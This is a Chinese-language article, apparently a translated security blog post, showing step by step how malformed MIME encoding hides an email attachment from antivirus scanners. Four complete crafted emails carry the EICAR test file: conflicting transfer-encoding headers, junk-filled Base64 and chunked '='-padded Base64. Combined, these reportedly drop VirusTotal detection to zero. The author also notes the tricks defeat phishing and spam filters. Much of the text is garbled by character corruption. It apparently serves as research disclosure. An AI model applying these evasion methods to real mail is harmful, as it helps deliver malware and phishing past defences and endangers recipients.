傳統(tǒng)上郵件僅限ASCII,每行限制為1000個(gè)字符。MIME標(biāo)準(zhǔn)定義了一種具有結(jié)構(gòu)化郵件(包括附件)和傳輸非ASCII數(shù)據(jù)。不幸的是,標(biāo)準(zhǔn)并不復(fù)雜和靈活,有許多自相矛盾的地方,并且沒(méi)有定義真正的錯(cuò)誤處理。其中IDS / IPS,郵件網(wǎng)關(guān)或防病毒軟件,它們通常以不同方式解釋特定準(zhǔn)備的郵件到最終用戶系統(tǒng)。
這篇文章將展示如何通過(guò)幾個(gè)簡(jiǎn)單的步驟修改帶有惡意附件的郵件,并最終免殺Virustotal的防病毒軟件。經(jīng)過(guò)所有這些修改后,仍然可以在Thunderbird中打開(kāi)郵件并運(yùn)行惡意負(fù)載。在下文中,我將演示如何通過(guò)一些簡(jiǎn)單易懂的步驟隱藏惡意附件以進(jìn)行正確的分析。
我們首先添加無(wú)害的EICAR測(cè)試病毒的郵件。郵件由兩個(gè)MIME部分組成,第一部分是一些文本,第二部分是附件,用Base64編碼, 以便將二進(jìn)制附件轉(zhuǎn)換為ASCII進(jìn)行傳輸。截至今天(2018/07/05),Virustotal的36個(gè)(59個(gè))產(chǎn)品能夠檢測(cè)到惡意負(fù)載。其余部分可能無(wú)法或未配置為處理ZIP存檔中的郵件文件或惡意軟件。
From: me@example.com
To: you@example.com
Subject: plain
Content-type: multipart/mixed; boundary=foo
--foo
Content-type: text/plain
病毒附加
--foo
Content-type: application/zip; name=whatever.zip
Content-Transfer-Encoding: base64
UEsDBBQAAgAIABFKjkk8z1FoRgAAAEQAAAAJAAAAZWljYXIuY29tizD1VwxQdXAMiDaJCYiKMDXR
CIjTNHd21jSvVXH1dHYM0g0OcfRzcQxy0XX0C/EM8wwKDdYNcQ0O0XXz9HFVVPHQ9tACAFBLAQIU
AxQAAgAIABFKjkk8z1FoRgAAAEQAAAAJAAAAAAAAAAAAAAC2gQAAAABlaWNhci5jb21QSwUGAAAA
AAEAAQA3AAAAbQAAAAAA
--foo--
我們可以通過(guò)保存擴(kuò)展名為.eml
的文件并使用Thunderbird打開(kāi)它來(lái)驗(yàn)證郵件的內(nèi)容。它應(yīng)該顯示一個(gè)名為whatever.zip的附加ZIP存檔,其中包含EICAR測(cè)試病毒。
首先,我們使用2015年針對(duì)AOL Mail工作的相同技巧:我們只添加一個(gè)不同的Content-Transfer-Encoding標(biāo)頭,從而對(duì)內(nèi)容的編碼方式做出矛盾的陳述。大多數(shù)郵件客戶端(包括Thunderbird和Outlook)將使用第一個(gè)標(biāo)頭而忽略第二個(gè)標(biāo)頭,解釋以下內(nèi)容與原始郵件沒(méi)有區(qū)別。盡管如此,即使問(wèn)題應(yīng)該至少知道了3年,Virustotal的檢測(cè)率仍會(huì)從36降至28:
From: me@example.com
To: you@example.com
Subject: contradicting Content-Transfer-Encoding
Content-type: multipart/mixed; boundary=foo
--foo
Content-type: text/plain
病毒附加
--foo
Content-type: application/zip; name=whatever.zip
Content-Transfer-Encoding: base64
Content-Transfer-Encoding: quoted-printable
UEsDBBQAAgAIABFKjkk8z1FoRgAAAEQAAAAJAAAAZWljYXIuY29tizD1VwxQdXAMiDaJCYiKMDXR
CIjTNHd21jSvVXH1dHYM0g0OcfRzcQxy0XX0C/EM8wwKDdYNcQ0O0XXz9HFVVPHQ9tACAFBLAQIU
AxQAAgAIABFKjkk8z1FoRgAAAEQAAAAJAAAAAAAAAAAAAAC2gQAAAABlaWNhci5jb21QSwUGAAAA
AAEAAQA3AAAAbQAAAAAA
--foo--
Base64中使用的字母表由64個(gè)明確定義的字符組成,最后可能有一些’=’。換行符用于將編碼分解為單獨(dú)的行,應(yīng)該被忽略。但是,還不完全清楚應(yīng)該如何處理任何其他(垃圾)字符的出現(xiàn)。標(biāo)準(zhǔn)建議但不定義忽略這些字符,即使它們不應(yīng)該首先發(fā)生 – 這幾乎是所有實(shí)現(xiàn)實(shí)際上都做的。從RFC 2045第6.8節(jié)節(jié)選:
編碼的輸出流必須以不超過(guò)76個(gè)字符的行表示。解碼軟件必須忽略表1中未找到的所有換行符或其他字符。在base64數(shù)據(jù)中,除表1中的字符,換行符和其他空格之外的字符可能表示傳輸錯(cuò)誤,在某些情況下,警告消息甚至消息拒絕可能是適當(dāng)?shù)摹?/p>
基于此,我們?cè)贐ase64編碼中插入了大量垃圾數(shù)據(jù),并最終收到一封郵件,Virustotal的檢測(cè)率從36降至17:
From: me@example.com
To: you@example.com
Subject: junk characters inside Base64 combined with contradicting CTE
Content-type: multipart/mixed; boundary=foo
--foo
Content-type: text/plain
病毒附加
--foo
Content-type: application/zip; name=whatever.zip
Content-Transfer-Encoding: base64
Content-Transfer-Encoding: quoted-printable
U.E.s.D.B.B.Q.A.A.g.A.I.A.B.F.K.j.k.k.8.z.1.F.o.R.g.A.A.A.E.Q.
A.A.A.A.J.A.A.A.A.Z.W.l.j.Y.X.I.u.Y.2.9.t.i.z.D.1.V.w.x.Q.d.X.
A.M.i.D.a.J.C.Y.i.K.M.D.X.R.C.I.j.T.N.H.d.2.1.
j.S.v.V.X.H.1.d.H.Y.M.0.g.0.O.c.f
.R.z.c.Q.x.y.0.X.X.0.C./.E.M.8.w.w.K.D.d.Y.N.c.Q.0.O.0.X.X.z.
9.H.F.V.V.P.H.Q.9.t.A.C.A.F.B.L.A.Q.I.U.
A.x.Q.A.A.g.A.I.A.B.F.K.j.k.k.8.z.1.F.o.R.g.A.A.A.E.Q
.A.A.A.A.J.A.A.A.A.A.A.A.A.A.A.A.A.A.A.C.2.g.Q.A.A.A.A.B.l.a.
W.N.h.c.i.5.j.b.2.1.Q.S.w.U.G.A.A.A.A.
A.A.E.A.A.Q.A.3.A.A.A.A.b.Q.A.A.A.A.A.A.
請(qǐng)注意,這并不意味著所有受影響的產(chǎn)品都無(wú)法處理Base64中的垃圾字符。更有可能的是,大多數(shù)這些產(chǎn)品在步驟2中都沒(méi)有檢測(cè)到原始的內(nèi)容轉(zhuǎn)移編碼,但是使用了一種啟發(fā)式來(lái)檢測(cè)Base64編碼,不管它在哪里。通過(guò)添加垃圾字符,這個(gè)啟發(fā)式失敗了。
在這一步中,我們回過(guò)頭來(lái),不再使用垃圾字符。相反,我們以不同的方式攻擊Base64編碼:正確的編碼總是需要3個(gè)輸入字符并將這些編碼編碼為4個(gè)輸出字符。如果最后只剩下一個(gè)或兩個(gè)輸入字符,則輸出仍然是4個(gè)字符,用’==’(一個(gè)輸入字符)或’=’(兩個(gè)輸入字符)填充。
這意味著’=’或’==’應(yīng)僅位于編碼數(shù)據(jù)的末尾。因此,一些解碼器將停在第一個(gè)’=’。例如,Thunderbird總是讀取4個(gè)字節(jié)的編碼數(shù)據(jù)并對(duì)其進(jìn)行解碼,并且不會(huì)改變中間編碼數(shù)據(jù)與末尾編碼數(shù)據(jù)的’=’行為。這導(dǎo)致了不是一次編碼總共3個(gè)字符而是一次只編碼2個(gè)字符的想法,在編碼數(shù)據(jù)中留下了很多’=’。Thunderbird將像原始郵件一樣處理此郵件,但Virustotal的檢測(cè)率從36下降到1個(gè):
From: me@example.com
To: you@example.com
Subject: Base64 encoded in small chunks instead one piece + contradicting CTE
Content-type: multipart/mixed; boundary=foo
--foo
Content-type: text/plain
病毒附加
--foo
Content-type: application/zip; name=whatever.zip
Content-Transfer-Encoding: base64
Content-Transfer-Encoding: quoted-printable
UEs=AwQ=FAA=AgA=CAA=EUo=jkk=PM8=UWg=RgA=AAA=RAA=AAA=CQA=AAA=ZWk=Y2E=ci4=
Y28=bYs=MPU=Vww=UHU=cAw=iDY=iQk=iIo=MDU=0Qg=iNM=NHc=dtY=NK8=VXE=9XQ=dgw=
0g0=DnE=9HM=cQw=ctE=dfQ=C/E=DPM=DAo=DdY=DXE=DQ4=0XU=8/Q=cVU=VPE=0PY=0AI=
AFA=SwE=AhQ=AxQ=AAI=AAg=ABE=So4=STw=z1E=aEY=AAA=AEQ=AAA=AAk=AAA=AAA=AAA=
AAA=AAA=ALY=gQA=AAA=AGU=aWM=YXI=LmM=b20=UEs=BQY=AAA=AAA=AQA=AQA=NwA=AAA=
bQA=AAA=AAA=
--foo--
為了混淆最后剩下的產(chǎn)品,我們?cè)俅翁砑拥?步中的垃圾字符。這成功地將檢測(cè)率從36降低到零:
From: me@example.com
To: you@example.com
Subject: chunked Base64 combined with junk characters and contradicting CTE
Content-type: multipart/mixed; boundary=foo
--foo
Content-type: text/plain
病毒附加
--foo
Content-type: application/zip; name=whatever.zip
Content-Transfer-Encoding: base64
Content-Transfer-Encoding: quoted-printable
UEs=.AwQ=.FAA=.AgA=.CAA=.EUo=.jkk=.PM8=.UWg=.RgA=.AAA=.RAA=.AAA=.CQA=.AAA=.
ZWk=.Y2E=.ci4=.Y28=.bYs=.MPU=.Vww=.UHU=.cAw=.iDY=.iQk=.iIo=.MDU=.0Qg=.iNM=.
NHc=.dtY=.NK8=.VXE=.9XQ=.dgw=.0g0=.DnE=.9HM=.cQw=.ctE=.dfQ=.C/E=.DPM=.DAo=.
DdY=.DXE=.DQ4=.0XU=.8/Q=.cVU=.VPE=.0PY=.0AI=.AFA=.SwE=.AhQ=.AxQ=.AAI=.AAg=.
ABE=.So4=.STw=.z1E=.aEY=.AAA=.AEQ=.AAA=.AAk=A.AA=.AAA=.AAA=.AAA=.AAA=.ALY=.
gQA=.AAA=.AGU=.aWM=.YXI=.LmM=.b20=.UEs=.BQY=.AAA=.AAA=.AQA=.AQA=.NwA=.AAA=.
bQA=.AAA=.AAA=.
--foo--
請(qǐng)注意,這篇文章只是對(duì)可以做什么的一個(gè)小小的洞察。我發(fā)現(xiàn)了更多的bypass,包括內(nèi)容分析和從附件中提取正確的文件名(以阻止.exe
,.scr
等)。MIME的情況與我在HTTP中描述的情況差不多并。這些方法不僅限于欺騙惡意軟件分析。通過(guò)將這些方法應(yīng)用于向用戶顯示的文本內(nèi)容,它們還可用于欺騙網(wǎng)絡(luò)釣魚(yú)和垃圾郵件檢測(cè)。例如,它們可用于使分析看到亂碼或使其分析錯(cuò)誤的MIME部分,但將郵件顯示為最終用戶的預(yù)期。